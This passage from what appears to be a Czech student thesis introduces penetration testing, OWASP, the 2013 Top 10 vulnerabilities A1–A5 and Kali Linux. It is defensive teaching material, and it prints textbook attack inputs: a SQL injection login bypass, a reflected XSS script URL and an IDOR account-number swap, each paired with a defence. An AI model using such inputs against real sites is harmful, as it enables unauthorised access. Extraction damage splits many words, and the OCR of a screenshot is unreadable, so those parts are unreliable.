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ÚVOD 

Bezpečnost internetu, poč í tačů a síťové komunikace je celosvětově j edn ím z nejčas

těji d iskutovaných t é m a t 21. století . Hlavním důvodem je, že při nedos ta t ečném 

zabezpečení mohou být , ať už běžný uživatel nebo firemní společnost , vystaveni 

různým síťovým ú t o k ů m , kde dochází k odcizení citlivých nebo soukromých dat, 

zneškodnění serveru z jeho běžné činnosti , napaden í sociálních sítí, získání kontroly 

nad poč í t ačem atd. Z těchto důvodů bylo zavedeno pene t račn í testování , k teré slouží 

k vyhodnocování zabezpečení síťových sys témů a p ros t ředků proti p ř í padnému napa

dení. Výsledky těchto t e s tů jsou po t é p rozkoumány a p ř ípadné nedostatky webových 

aplikací napraveny. Podle nedávné analýzy společnosti „Veracode", 86% webových 

aplikací napsaných ve skr iptovacím jazyce P H P obsahuje min imálně jednu cross-site 

scripting zranitelnost a 56% nejméně jednu S Q L injection zranitelnost. 

P r v n í kapitola teoretické části popisuje obecně pene t račn í tes tování , uvádí typy 

t e s tů a jednot l ivé kroky, podle k terých postupuje pene t račn í t ý m při testu webových 

aplikací. D r u h á kapitola je věnována bezpečnos tn í organizaci „Open Web Application 

Security Project1' ( O W A S P ) zabývající se bezpečnost í webových aplikací, financo

váním a vývojem desítek projektů , z nichž nej významnějš í je O W A S P Top 10, ve 

k te rém je popsáno 10 nejzávažnějších zrani te lnost í webových aplikací. V poslední 

kapitole je p o p s á n a linuxová distribuce K a l i Linux, k t e rá je zaměřená na pene t račn í 

testy a obsahuje více než 300 nás t ro jů určených pro pene t račn í tes tování . 

Cílem prakt ické části je realizace ú toků na webovou aplikaci O W A S P Muti l l idae 

II a sepsání p o d r o b n é h o rozboru celého p r ů b ě h u testování , ze k te rého bude následně 

vy tvořena labora torn í ú loha seznamující studenty s pene t r ačn ím tes tování webových 

aplikací. Jednot l ivé ú t o k y budou zaměřeny na prvních 5 zrani te lnost í z dokumentu 

O W A S P Top 10 2013. 

Vzhledem ke správné korekci česko-anglického přek ladu bude práce v některých 

částech obsahovat anglické pojmy. 
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1 PENETRAČNÍ TESTOVÁNÍ 

Jak již bylo uvedeno v úvodu , pene t račn í testy se provádí za účelem zjištění úrovně 

zabezpečení sítě nebo systému. Nejčastěji si tyto služby vyžadují firmy menších 

i větších rozsahů, aby nedocházelo k odcizení citlivých a neveřejných dokumentů , 

k teré by v p ř ípadě krádeže mohly vést k finanční z t rá tě . Osoba provádějící tyto 

testy se nazývá pen-tester nebo také et ický hacker, jehož cílem je naj í t s labě zabez

pečená mís ta , pomocí nich proniknout do určené infrastruktury a získat kontrolu 

nad celým sys témem, či se pokusit získat citlivé informace. Rozsah testu je limito

ván př idělenými p ros t ředky (čas, finance, personál ) , a z tohoto důvodu je po t ř eba 

se vždy zaměř i t na nejkrit ičtější bezpečnos tn í mís ta , k t e r á představuj í pro firemní 

společnost největší hrozby. 

Testování by mělo zahrnovat vše, kde hrozí riziko nežádoucího p růn iku do sys

t é m u a odcizení dat nebo způsobení finanční škody. 

Mezi tato r izika pa t ř í : 

• E-mailové systémy 

• Veřejné webové s t ránky 

• P ř í s tupová hesla 

• D N S systémy 

• Úložiště dat 

• Informační sys témy 

• Síťové odposlouchávání 

• C G I skripty 

• L D A P systémy 

Nej důležitější webové aplikace k tes tování jsou právě takové, k te ré využívají 

zejména zákazníci dané společnosti , např . internetové bankovnictví . Pokud by zde 

došlo k odcizení dat nebo peněz klienta, firma by z t rácela pověst mezi klienty, a t ím 

i její hodnotu. 

1.1 Typy testů 

Pene t račn í tes tování k romě dalších subkategori í lze rozdělit na 2 základní ( interní a 

externí) [1]: 

In terní 
Tento test se provádí z vn i t řn í strany sítě a předs tavuje potencionáln ího ú točníka , 

k te rý se může vydávat za klienta nebo neloajálního zaměs tnance a nás ledně se po

kusí o p ron iknut í do sítě společnosti . 
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Extern í 
Tento test se provádí z vnější strany tes tované oblasti a napodobuje vnější ú toky 

(např . ú točn íka z internetu). Vnější pene t račn í testy se dále rozdělují na: 

• V P N pene t račn í testy. 

• Wi-ŕi pene t račn í testy. 

• Pene t račn í testy webových aplikací. 

Další rozdělení je podle způsobu provedení: 

Manuální 
T y p testu, k te rý je vykonáván manuá lně . Mez i výhody pa t ř í , že test lze zaměř i t a 

př izpůsobi t přesně pro urč i tou oblast se specifickými p o d m í n k a m i . Další výhodou 

je, že člověk provádějící test musí mí t velmi dobré znalosti problematiky pene t rač -

ního testování , tzn. u m í popsat a vysvětl i t , co dělal, i lidem, k teř í dané problematice 

nerozumějí . Nevýhodou je zároveň i již zmiňovaná velmi dobrá znalost pene t račn ího 

tes tování a časová náročnos t vzhledem k př ípravě takového testu. 

Automat izované 
Test je vykonáván automaticky pros t ředn ic tv ím nás t ro je vy tvořeného profesionály, 

k teř í se v t é to oblasti pohybuj í dlouhou dobu. Výhoda tohoto testu je, že teste

rovi s tačí porozumět pouze tomu, jak se testovací nás t ro j ovládá, což ve výsledku 

vede k ušet ření času oproti m a n u á l n í m u testu. Nevýhodou je nemožnost otestovat 

všechna zran i te lná mís ta . 

Semiautomatické 
Kombinace manuá ln ích a au tomat izovaných t e s tů snažící se využí t výhody obou 

t e s tů a eliminovat nevýhody. 

Podle úrovně znalost í o t es tovaném systému: 

Black-box 
Nejpoužívanější typ testu, kdy tester napodobuje ú točn íka z vnější strany, nem á 

o sys tému žádné informace a zná jenom vstupy a výstupy. Není p o t ř e b a žádná zna

lost programovacího jazyka ani zdrojového kódu. Nevýhodou je mí t velmi dobré a 

široké znalosti problematiky pene t račn ího testování . 

White-box 
Test, při k t e r ém m á tester plný p ř í s tup k veškerým informacím o sys tému či síti. 

J inými slovy znalost vn i t řn í architektury, zdrojového kódu aplikace, typ a počet pří

t omných počí tačových zařízení atd. Prakt icky jde o komple tn í analýzu zdrojového 

kódu, v němž se mohou vyskytovat chyby. S požadovanými znalostmi umožňuje na-
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j í t z ran i te lná mís t a v re la t ivně krá tké době a popř ípadě kód optimalizovat pro vyšší 

bezpečnost aplikace. Nevýhodou je p o t ř e b n á znalost programovacího jazyka, časová 

náročnos t a úzké zaměření na kód a architekturu. 

Grey-box 
Kombinace obou t y p ů t e s tů black-box a white-box. J e d n á se o snahu, použí t co 

možná nejvíce výhod obou tes tů . Využívají se znalosti vn i t řn í logiky aplikace a test 

prob íhá ze strany běžného uživatele nebo potencionáln ího ú točníka . 

1.2 Postup penetračního testování 

Pene t račn í tes tování a celý jeho p r ů b ě h se dělí do několika fází [2], [3], jejichž počet 

se pohybuje od čtyř do sedmi, viz obr. 1.1. Ko l ik fází bude při tes tování zahrnuto, 

záleží na zkušenostech pene t račn ího t ý m u a požadavcích organizace. Jeho struktura 

je však pevně d á n a a do j is té míry je vždy stejná, proto zde bude popsáno pě t fází. 

Plánování 
V té to fázi dochází k přesnému a p o d r o b n é m u stanovení , na jaké bezpečnos tn í 

části aplikace nebo sys tému bude test zaměřen. Jsou podepsány různé bezpečnos tn í 

smlouvy a pene t račn í t ý m určí rozsah testu, včetně finanční/časové náročnos t i , pří

padně typ nás t ro jů , k te ré budou použity. Dále by t ý m měl zvážit p ř í p a d n á rizika 

daného testu, tzn. musí se držet j asně daných pravidel ve smlouvě a volit takový 

postup, při k t e r ém nedojde k odhalení neveřejných nebo ta jných dat organizace. 

Objevování /sběr dat 
Fáze sbírání dat se považuje za začátek pene t račn ího testování . Vybraný t ý m m á za 

úkol zjistit co nejvíce uži tečných informací o organizaci a jejich systémech (otevřené 

porty, verze operačních sys témů, IP rozsahy, e-mailové zprávy, konfigurace zaří

zení, oprávněné osoby, nas t avená pravidla firewallu atd.). Všechny tyto informace 

lze poměrně lehce získat pomocí běžně dos tupných softwarových nás t ro jů (Nmap, 

Xprobe2, Queso apod.). 

Odhalování zranitelnost í 
Po úspěšném shromáždění všech uži tečných informací o sys tému nas tává další fáze 

odhalování zrani te lnost í . Zde se používají au tomat izované nás t ro je s v las tn í aktuali

zovanou da t abáz í (Nessus, Retina, ISS Scanner atd.), k teré obsahují velké množs tv í 

zrani telnost í , jejich typy a detaily. Tyto nás t ro je srovnávají např . verze operačních 

sys témů síťových pros t ředků , typ /da tum aktual izací a po porovnán í s da t abáz í vy-
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hodno t í p ř ípadné zranitelnosti a nedostatky. V př ípadě manuá ln ího testuje po t řeba , 

aby tester nespoléhal jen na nás t ro je , ale dokázal využí t efektivně svoje zkušenost i 

a měl informace ohledně nejnovějších zrani te lnost í a principu jejich zneužit í . 

Exploitace 
Fáze, kdy nas tává s amotný proces prolamování bezpečnostn ích mechan izmů a zneu

žívání zjištěných zrani te lnost í v předchozím kroku. Tester se snaží získat p ř í s tup do 

urči tých zabezpečených oblast í , a pokud je úspěšný, může se mu naskytnout další 

možná cesta, k t e rá byla dříve nedos tupná . V t é to chvíli by se měl tester v rá t i t na 

začátek a pokusit se shromáždi t další informace na základě nově zjištěných. 

Report 
Poslední fází je zpráva, k t e rá shrnuje celkové výsledky pene t račn ího testování , včetně 

pod robného postupu a obsahuje p ř ípadné doporučení pene t račn ího t ý m u na zlepšení 

bezpečnost i v kri t ických oblastech. 

Reconnaissance 

Information gathering 
Client 

Provided Data 

Testing 

If failure, 
choose new 

Envi roment 
orientation 

Target Discovery 
If succesful, 
reorient to 

No More 
Targets 

Reporting Risk Assessment for 
Findings 

Final Report 

Obr. 1.1: Metodologie tes tování (překresleno) 
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2 BEZPEČNOSTNÍ ORGANIZACE 

Nejznámější organizací věnující se bezpečnos t i je „The Open Web Application Secu-

rity Project" ( O W A S P ) . Je to celosvětová nezisková char i ta t ivn í nadace, zaměřená 

na zlepšování bezpečnost i softwaru. Nadace vznikla 1. prosince 2001 a o 3 roky poz

ději 21. dubna 2004 se z ní stala nezisková organizace ve Spojených s tá tech americ

kých. Jej ím cílem je, aby jednotlivci nebo organizace po celém světě měli neomezený 

př í s tup k informacím o bezpečnostn ích hrozbách a na jejich základě mohli provádět 

bezpečnos tn í opa t řen í . To znamená , že veškeré O W A S P nást roje , dokumenty a fóra 

jsou volně dos tupné všem, kteř í se chtějí bud dozvědět více o bezpečnos t i webových 

aplikací nebo se podí le t na bezpečnos tn ím vývoji [4]. 

O W A S P m á v současné době přes 200 poboček po celém světě. Jedna z nich je i 

v České republice v Praze pod vedením Jana Kopeckého. Dále m á O W A S P více něž 

142 akt ivních pro jek tů a k a ž d ý m dnem j i m přichází žádost i o založení nových. 

Nej významnějš í z nich: 

. O W A S P C L A S P 

. O W A S P WebGoat and WebScarab 

• O W A S P Developers Guide 

. O W A S P Testing Guide 

. O W A S P Top 10 

. O W A S P Codes of Conduct 

Celý přehled pro jek tů je k dispozici na [5]. 

2.1 OWASP Top 10 

Nej významnějš í dokument, na jehož vytvoření se podíl í bezpečnos tn í experti z celého 

světa a k te rý zveřejňuje 10 nej závažnějších zrani te lnost í webových aplikací [6]. Je 

určen k bezp la tnému používání a je licencován firmou „Creative Commons" licencí 

Attribution-ShareAlike 3.0 [7]. Projekt založil v roce 2003 Dave Wichers a pod jeho 

vedením vychází každé 3 roky nová verze (od roku 2004 celkem 4) s ak tuá ln ími 

hrozbami. 

Top 10 zrani te lnost í webových aplikací v roce 2013: 

• A I Injection (Injektování) . 

• A 2 Broken Authentication and Session Management (Chybná autentizace a 

správa relace). 

• A 3 Cross-Site Scripting (XSS). 
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• A 4 Insecure Direct Object References (Nezabezpečené př ímé odkazy na ob

jekty). 

• A 5 Security Misconfiguration (Nezabezpečená konfigurace). 

• A 6 Sensitive Data Exposure (Expozice citlivých dat). 

• A 7 Missing Function Level Access Control (Chyby v řízení úrovní p ř í s tupů) . 

• A 8 Cross-Site Request Forgery ( C S R F ) . 

• A 9 Using Components wi th Known Vulnerabilities (Použi t í známých zranitel

ných komponent). 

• A l O Unvalidated Redirects and Forwards (Neošetřené přesměrování a předá

vání) . 

V oblasti zabezpečení aplikací se tyto hrozby neus tá le mění , viz obr. 2.1. Kaž

d ý m rokem dochází ke vzniku nových a propracovanějších technologií, kde na jejich 

základě útočníci rozšiřují svoje znalosti a dovednosti, k teré použijí k důmyslnějš ím 

ú tokům. 

O W A S P T o p 1 0 - 2 0 1 0 ( P r e v i o u s ) O W A S P T o p 1 0 - 2 0 1 3 ( N e w ) 

Al - Injection Al - Injection 

A3 - Broken Authentication and Session Management A2 - Broken Authentication and Session Management 

A2 - Cross-Site Scripting (XSS) A3 - Cross-Site Scripting (XSS) 

A4 - Insecure Direct Object References A4 - Insecure Direct Object References 

A6-Security Misconfiguration AS - Security Misconfiguration 

A7 - Insecure Cryptographic Storage - Merged with A9 -> A6-Sensitive Data Exposure 

AS - Failure to Restrict URL Access - Broadened into A7 - Missing Function Level Access Control 

A5 - Cross-Site Request Forgery (CSRF) AS - Cross-Site Request Forgery (CSRF) 

•cburied in A6: Security Misconfiguration> A9 - Using Known Vulnerable Components 

AlO - Unvalidated Redirects and Forwards AlO - Unvalidated Redirects and Forwards 

A9 - Insufficient Transport Layer Protection Merged with 2010-A7 into new 2013-A6 

Obr. 2.1: Porovnán í Top 10 hrozeb 2010/2013 

Z uvedeného porovnán í je vidět , že p rvn í čtyři pozice kromě výměny A 2 a A 3 

zůsta ly stejné. Výskyt zranitelnosti A 5 ( C S R F ) poklesl až na pozici A 8 , je to z dů

vodu snahy vývojářů a organizací tomuto r iz iku pokud možno co nejvíce zamezit. A 7 

společně s A 9 bylo sloučeno a zahrnuje zranitelnost A 6 (Sensitive Data Exposure). 

Poslední změnou je p ř idán í nové zranitelnosti A 9 (Using Components with Known 

Vulnerabilities). 
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2.2 Zranitelnosti A1-A5 (2013) 

V t é t o sekci bude popsáno prvních 5 nejčastěji se vyskytujících zrani te lnost í webo

vých aplikací, k te ré budou následně v prakt ické části demons t rovány a použi ty jako 

podklad pro labora torn í úlohy. 

A I - Injection 
Nejběžnější typ ú toku injection je S Q L . Princip ú toku typu S Q L injection [8], [9], 

[10], [11] je vložení vlas tních př íkazů do nezabezpečeného vstupu aplikace a pro

s t ředn ic tv ím dotazu S E L E C T jsou tato vs tupn í data odes lána od klienta na webový 

server, kde dojde k narušen í syntaxe kódu. Pokud je S Q L injection úspěšné, může 

ú točník číst data z da t abáze , měni t data da t abáze (vkládat , upravovat, mazat), pro

vádět adminis t rá torské operace s da t abáz í atd. 

Ú t o k 

Obvykle k ú t o k u dochází při přihlašování do webových aplikací. Uživatel zadá své 

jméno a heslo, k te ré jsou poslány dotazem S E L E C T webovému serveru. Pokud za

dané údaje souhlasí s údaj i v da tabáz i , je uživateli p ř í s tup povolen, v opačném 

př ípadě zamí tnu t . P ř i nedos t a t ečném zabezpečení v s t u p ů může ú točn ík vk láda t své 

v las tn í dotazy a dostat p ř í s tup do da t abáze . N a obrázku 2.2 se ú točn ík přihlásí jako 

' OR 1—1; * a heslo zakomentuje * / - . Pokud nejsou ř ádně zabezpečeny vstupy, tak 

ho webová aplikace přihlásí jako prvního uživatele uvedeného v tabulce Users. 

Jeden ze způsobů, jak zjistit, zda-li m á webová aplikace S Q L injection zranitel

nost, je vložení neočekávaných znaků jako vstup, k te ré by mohly změni t dotaz tak, 

že bude neplatný. Pokud zadáme znaky, k teré mají zvláš tní v ý z n a m v jazyce S Q L a 

webová aplikace vygeneruje specifickou chybu, můžeme usuzovat, že zadaný vs tupn í 

znak je používán v dotazu S Q L zran i te lným způsobem. 

Mezi tyto znaky pa t ř í : 

• Apostrof (') - označuje začá tek nebo konec dat. 

• Pomlčky (-) - označují S Q L komentář . 

• St ředník (;) - označuje konec S Q L příkazu. 

Nejvíce se používá j ednoduchá uvozovka ('). Pokud je cílová webová s t r ánka 

zrani te lná, tak se při jej ím použi t í vygeneruje S Q L chyba, ve k te ré se budou vysky

tovat klíčová slova „SQL" nebo „MySQL". D ů v o d e m chyby je, že znak (') je b r á n 

jako řetězcový oddělovač. Syntakticky je S Q L dotaz spuš těn jako nesprávný (obsa

huje příliš mnoho oddělovačů) a tud íž da t abázový sys tém vytvoř í výj imku (chybu). 

Za nejčastější chyby lze označit takové, k teré se týkají bud da tabázového sys tému 

M y S Q L nebo Microsoft S Q L Serveru. 

Mějme webovou s t ránku: 
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h t t p : / / p ř i k l a d . c o m / l i s t p r o d u c t s . p h p ? c a t = l 

Čás t řetězce .php je indikátor , že cílový da tabázový sys tém by mohl být M y S Q L , 

k te rý je ve většině p ř í p a d ů zrani te lný proti ú toku S Q L injection a dále je vidět , že 

cat—1 odkazuje na konkré tn í objekt, což značí metodu G E T . Použ i t ím neočekáva

ného znaku (') na konci U R L , změní dotaz tak, že webová aplikace vygeneruje chybu 

indikující S Q L zranitelnost: 

Error: you have an error in your S Q L syntax; check the manual that corresponds 

to your M y S Q L server version for the right syntax to use near " at line 1 

V t é to chvíli ú točn ík ví, že webová aplikace je zrani te lná . Může zkoušet vk láda t 

libovolné dotazy a pokusit se tak získat informace nebo kontrolu nad da tabáz í . 

Dříve S Q L injection nepředstavoval takovou hrozbu, protože bylo p o t ř e b a zadá

vat svůj v las tn í S Q L kód do webového formuláře manuá lně . V současné době tomu 

je jinak, zejména kvůli au toma t i zovaným nás t ro jům specializovaných pro S Q L in

jection a proto předs tavuje nejčastější zranitelnost webových aplikací posledních 6 

let. Mnoho velkých firem nevěnovalo pozornost t é t o chybě (i přes fakt, že proti S Q L 

injection mohou být webové aplikace t éměř zcela zabezpečeny) , což vedlo v někte

rých př ípadech k velkým finančním z t r á t á m nebo odcizení neveřejných informací 

[12]. 

User Id 

Pas sword : 

itswadesh 

newpassword 

select * from Users wliere user_id= 'itswsdesh' 
and password = ' newpassword ' 

User-Id: 

Password 

1 OR 1= 1; / * 

7-

select * from Users where user_id= ' 1 OR 1 = 1;/*' 
and password = ' */ ' 

Obr. 2.2: Napaden í pomocí S Q L injection 
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Obrana 

Způsobů ochrany je mnoho, ale mezi nej důležitější pa t ř í používání A P I (Application 

Programming Interface), k teré nepoužívá interpret a poskytuje paramet r izované roz

hraní . Dalš ím způsobem je tzv. escapování (převod znaků na j iné odpovídaj ící znaky) 

nebezpečných znaků jazyku S Q L , mezi k teré pa t ř í ze jména apostrof, pomlčky a 

s t ředník. 

A 2 - Broken Authentication and Session Management 
Broken Authentication and Session Management [13], [14] zahrnuje vše, co se týká 

ověřování uživatelů a řízení akt ivní relace. Silnější metody autentizace existují a 

jsou k dispozici kombinující S W i H W na principu biometrie nebo kryptografických 

tokenů, ale vzhledem k vysokým finančním n á k l a d ů m a náročnos t i návrhu takového 

sys tému pro webové aplikace jsou velmi často vývojovými t ýmy opomíjeny. Tyto 

nedostatky mohou mí t za následek ohrožení uživatelského soukromí nebo převzet í 

kontroly nad správou sys tému úč tů . 

Webové aplikace musejí mí t zavedené relace pro sledování žádost í ze strany uži

vatelů. Protokol H T T P tuto funkci nepodporuje, a i přes skutečnost , že pros t ředí 

webových aplikací tuto možnost podporuje, vývojáři si preferují relace vy tváře t sami, 

což vede mnohdy ke spous tě nevyžádaných chyb. Za časté chyby lze označit absenci 

šifrování při autentizaci údajů , odhalování ID relací v U R L , neměnnos t ID relace po 

přihlášení atd. Pokud nejsou tokeny relací dos ta tečně chráněny, není pro ú točn íka 

problém získat akt ivní relace a vydávat se za uživatele. 

Ú t o k 

Pro demonstraci ú toku mějme webovou s t r á n k u aerolinek, jejichž sys tém vk ládá do 

U R L i ID relace: 

h t tp : / / p r ik l ad . com/sa l e / sa l e i t ems ; j se s s ion id=6KELF6FERTOWPWKDSOS6SD 

?dest=Island 

Pokud právě př ihlášený uživatel bude chtít někomu poslat tento odkaz o nabídce, 

aniž by věděl, že daný odkaz obsahuje ID o vlas tn í relaci, tak do tyčná osoba, k teré 

byl odkaz poslán při jeho použi t í , bude zároveň používat i relaci původn ího uživa

tele, a tedy i jeho např . kredi tn í kartu. 

Obrana 

K e snížení p ravděpodobnos t i tohoto typu ú toku , by měli dodržovat u rč i tá pravidla 

vývojáři webových aplikací i uživatelé: 

• S í la hesla - každé heslo by mělo splňovat p o d m í n k y min imáln í délky a slo

žitosti tzn. zadán í velkého počá tečn ího p í smena s kombinací čísel, popř ípadě 
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speciálních znaků. Uživatelé by také měli často měni t své hesla a nepoužívat 

žádná z předchozích. 

• Kontrola z m ě n y hesla - mechanizmus změny hesla by měl být k dispozici 

všude, kde to vyžaduje situace. Uživatelé by měli být povinni při změně hesla 

zadat s ta ré i nové heslo a sys tém by měl vyžadovat při těchto změnách nějakou 

formu autentizace (e-mail). 

• P o u ž í v á n í hesla - uživatelé by měli mí t omezený počet pokusů při zadávání 

hesla b ě h e m urči té doby. Sys tém by neměl uvádět , zda-li bylo špa tně zadáno 

heslo nebo jméno , měl by informovat uživatele o čase jejich úspěšného přihlá

šení nebo naopak uvádět čas a počet neúspěšných pokusů . 

• U l o ž e n í hesla - všechna uložená hesla by měla být ně jakým způsobem šifro

vaná, aby nemohlo dojít k jejich expozici. 

• Ochrana ID relace - pro ochranu celé relace se používá technologie SSL. 

Pokud sys tém tuto ochranu poskytuje, je nemožné zachytávání čísel relace 

mimo síť. Relace by se neměly vyskytovat v U R L a měly by bý t dos ta tečně 

složité pro zabráněn í jejich uhodnu t í . 

• Seznamy ú č t ů - sys témy pro správu úč tů by měly být navrženy tak, aby 

zabráni ly neoprávněnému nahlížení do seznamu ú č t ů a dalších informací. 

A 3 - Cross-Site Scripting (XSS) 
Cross-Site Scripting [15], [16] je zranitelnost, kdy se ú točn ík snaží spustit škodlivý 

kód (skript) na s t raně klienta p ros t ředn ic tv ím jeho webového prohlížeče. Pr incip 

je takový, že ú točn ík se snaží využí t bezpečnostn ích chyb ve spouštěcích skriptech 

dané webové aplikace, pomocí nich měni t vzhled nebo obsah s t r ánky a vytvoř i t tak 

odkazy, k te ré vypadaj í jako důvěryhodné . Pokud nic netušící uživatel takový odkaz 

použije, tak dojde zároveň ke spuš tění škodlivého skriptu, protože webové prohlížeče 

neposkytuj í žádný způsob, k t e r ý m by zjistily, že daný skript je nedůvěryhodný, což 

m á za následek umožnění p ř í s tupu k probíhaj íc ím relacím, soukromým informacím 

uložených v prohlížeči nebo přesměrování na j iné s t r ánky apod. Tato metoda se 

nazývá reflected. 

X S S ú toky jsou rozděleny do t řech kategorií : 

• Refleted - ú tok typu Reflected je nejběžněji používaný. Pr incip spočívá v tom, 

že škodlivý kód je obsažen př ímo v U R L odkazu, k te rý je odražen od webového 

serveru a d o d á n obět i j inou cestou např . p ros t ředn ic tv ím e-mailových adres. 

Pokud uživatel takový odkaz použije, prohlížeč vykoná i škodlivý skript, pro

tože zdroj bude uveden jako důvěryhodný. 

• Stored - ú tok typu Stored je nejnebezpečnější , protože skript, ve k t e r ém je 

vložený škodlivý kód, je p e r m a n e n t n ě uložen na webovém serveru. Pokud uži

vatel zažádá server o nějakou uloženou informaci, tak spolu s touto informací 
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se spus t í i nebezpečný skript. Nejčastěji se nebezpečný kód vk ládá na webové 

s t ránky, k te ré používá velké množs tv í uživatelů z důvodu, že může postihnout 

všechny. Mez i tyto s t r ánky lze zařad i t např . r ůzná fóra, rejstříky, sociální sítě 

atd. 

• D O M Based - ú tok typu DOM Based je velice p o d o b n ý ú toku reflected s t ím 

rozdílem, že škodlivý kód není odesí lán na webový server, ale je zpracován až 

na s t raně klienta p ros t ředn ic tv ím JavaScriptu. 

Ú t o k 

Pro demonstraci ú toku typu reflected mějme webovou s t r ánku používající skripto-

vací jazyk P H P s X S S zranitelnostmi. P ů v o d n í tvar odkazu v y p a d á takto: 

http: / / př iklad. com/menu.php?user=xx 

Někde ve zdrojovém kódu se vyskytuje následující řádek: 

<?php echo $_GET[ 'user ' ] ; ?> 

Z výše uvedeného ř ádku je zřejmé, že pro úspěšný ú tok stačí upravit odkaz, aby 

vypadal takto: 

h t t p : / / p r i k l a d . c o m / m e n u . p h p ? u s e r = < s c r i p t > a l e r t ( ' Ú t o k X S S je úspěšný . ' ) ;< / sc 

r ip t> 

Pokud oběť takový odkaz použije, zobrazí se výs t ražné okno alert s náp isem 

„Útok X S S je úspěšný". V praxi se však používají nebezpečné skripty, k te ré mohou 

způsobit u rč i tou formu škody na s t raně uživatele. 

Obrana 

Nejlepším způsobem, jak se proti X S S ú t o k ů m brán i t , je escapování všech nedůvě

ryhodných dat a znaků v kontextu H T M L . Dále se doporučuje používat validace 

v s t u p ů a au tomat ické sani t izační knihovny. 

A 4 - Insecure Direct Object References 
Insecure Direct Object References [17] nas tává , pokud vývojář zanechá nezabezpe

čené odkazy na interní objekty (klíč da t abáze , adresář , soubor atd.). Potenciá lní 

hrozbu po t é předs tavuje sys témem autor izovaný uživatel, k te rý může měni t para

metry odkazující na urči té objekty a dostat se tak k informacím, ke k t e r ý m nem á 

oprávněný p ř í s tup . 

21 

http://priklad.com/menu


Ú t o k 

Mějme webovou s t r ánku pro internetové bankovnictví , k t e rá používá př ímé od

kazy na účty. Uživatel je př ihlášen ke svému úč tu , jehož U R L v y p a d á následovně: 

h t t p : / / p ř i k l a d . c o m / a c c o u n t s / d e t a i l s ? a c c o u n t n u m b e r = 2 3 5 9 6 4 6 5 8 9 5 0 

Účet autor izovaného uživatele m á číslo 235964658950. Pokud by však zaměnil 

v odkazu poslední číslici za kterékoliv j iné číslo: 

http://priklad.com/accounts/details?accountnumber=235964658951 

Mohlo by se s tá t , že dostane p ř í s tup k ú č t u a informacím, ke k t e r ý m n e m á opráv

nění. 

Obrana 

Principem ochrany proti t é t o zranitelnosti je nutnost dodržovat u rč i t á pravidla: 

• Vyhnout se používání př ímých odkazů na objekty a používat nepř ímé odkazy 

pro každou relaci či uživatele zvlášť. 

• Zamezit viditelnosti ak tuá ln ího ID objektu. 

• Kontrola oprávnění při použi t í př ímých odkazů, zda m á při vstupu daný uži

vatel práva k danému objektu. 

A 5 - Security Misconfiguration 
Security Misconfiguration [18] je zranitelnost, k t e rá souvisí s bezpečnost í webových 

serverů (ISS, Apache) a da t abázovými servery, mezi k teré pa t ř í ze jména Microsoft 

S Q L Server a M y S Q L . Správu a konfiguraci serverů mají na starost adminis t rá toř i , 

jejichž úkolem je udrže t bezpečnost těch to služeb udržováním ak tuá ln ího softwaru, 

zakázán ím nepo t řebných služeb, měni t výchozí hesla, nas tavení pravidel firewallu 

atd. 

Ú t o k 

Pro demonstraci ú toku mějme webovou aplikaci, k t e r á při výpisu chybového hlášení 

zobrazí následující informace, viz obr. 2.3 [19] 

Z tohoto výpisu chybového hlášení může ú točn ík zjistit níže uvedené informace 

a využí t je pro svůj ú tok: 

1. Informace o hodno tě a názvu parametru. 

2. Informace o vn i t řn í implementaci parametru ID. 

3. Citlivé detaily o s t ruk tu ře kódu. 

4. Fyzické umís těn í souboru na počí tači vývojáře. 
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<- C O lotalhostSS 

Server Error in '/' Application. 

Value cannot be nulL 
Parameter name: String 
•escrlpll-rj-n: An unhanded «cepl*n ccc-urvifi dump lha e*scij*on dT :h* cuirir*r1 jttb request r ¥ t u raviaw 1h* alack tr-HC* Inrmara m formal en abo*rt 
[he CTTgrflnJ where 4 yngmBlcd m lh* todc 

Exception Details: Syit^.umaNhiUException: Valua- cannrt be iiil. 

Kriiir-4-i: F. frn-t; 

* m ŕ* ^ „ ^ 

Line 12: protected void Page_l_oarJ (object sen e'er, EverttArgs e) 
Line 13: { 
Line 14 [ int id = i nt. Parse(Req,ue5t .QueryStri ng ["Id11] }; J^r~ 
Line 15: // The admin ID has special rights over the system. 
Line 16: var hasAdminft-ights = id == 837215272; -4- 3. 

Source File: c.*Prn|eeüWuherableAfp*alMn\WtlflD*fsijll awx es L ine : ' i <4 4 . 

stuck Tram 

[ArgumentHu11 Exception: value tar not be nu l l . 
Parameter name: String] 

System.Humber.StringToNumber(string s t r , NumberStyles options, NumberBuffers number, NumberFc 
System r «umber,ParseIntJ2(String s, NumfcerStyl es style , number Format Info info) +224 
Web._Default.Page_Load(Object sender, EventArgs e) in c:\Projects\VulnerableApplicat~ian\WBb\C 
Sy stem. Web. Uti l .CalliHtel per. Event ArgJuinctio4iCal~ler(lritPtr fp , Object o, Object t , EventArgs e 
System,web,DI,Control.LoadRecursive() •+?! 
System.Web.ui.Page.ProcessReaueslMain(Boolean includeStagesBeforeAsyncPoint, Boolean includes 

Ve rs lü n Inf o rmatbon: Mimu It .NET Frairewsrt Vŕman:*.B.M319: ASP.HET Verw«: J.0.M319.1 

Obr. 2.3: Chybový výpis aplikace 

5. Seznam metod volaných před chybou. 

6. Verze . N E T Framework používaný aplikací. 

Obrana 

Doporučená obrana proti tomuto typu ú toku je včasné nasazení a udržování nových 

softwarových aktual izací a oprav, zajistit silnou architekturu aplikace, pravidelné 

skenování pro odhalení chybné konfigurace nebo zas tara lých aktual izací , často měni t 

výchozí hesla, omezit výpis chybových hlášení a vypnu t í možnos t i výpisu adresářů . 
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3 KALI LINUX 
K a l i L inux [20] je linuxová open-source distribuce, založená na Debianu, sloužící 

pro pene t račn í tes tování a bezpečnos tn í p r ů z k u m webových aplikací. Obsahuje přes 

300 pene t račn ích nás t ro jů určených pro tyto účely. K a l i L inux by l oficiálně spuš těn 

13. dubna 2013 a vznikl jako komple tn í p ře s t avba linuxové distribuce BackTrack 

[21], k t e rý již nadá le není vyvíjen. Projekt založil M a t i Aharoni a Devon Kearns 

z organizace ^Offensive Security" [22], k t e r á m á na starosti ú d r ž b u a financování. 

Sys tém je volně ke s tažení na oficiálních s t r ánkách h t t p s : / / w w w . k a l i . o r g / 

downloads v 32/64 bitové verzi nebo obrazu (armel, armhf) založeném na A R M 

archi tek tuře . Zprovoznění lze uděla t několika způsoby: instalací na pevný disk, vyu

žití ex tern ího zařízení (flash disk, externí disk) bez nutnosti instalace nebo spuš těn ím 

pomocí softwaru VMware , popř ípadě Oracle V M Vi r tua lBox jako v i r tuá ln í systém. 

Nedávno (11. září 2015) byla spuš těna nová verze K a l i L inux 2.0. Mez i hlavní 

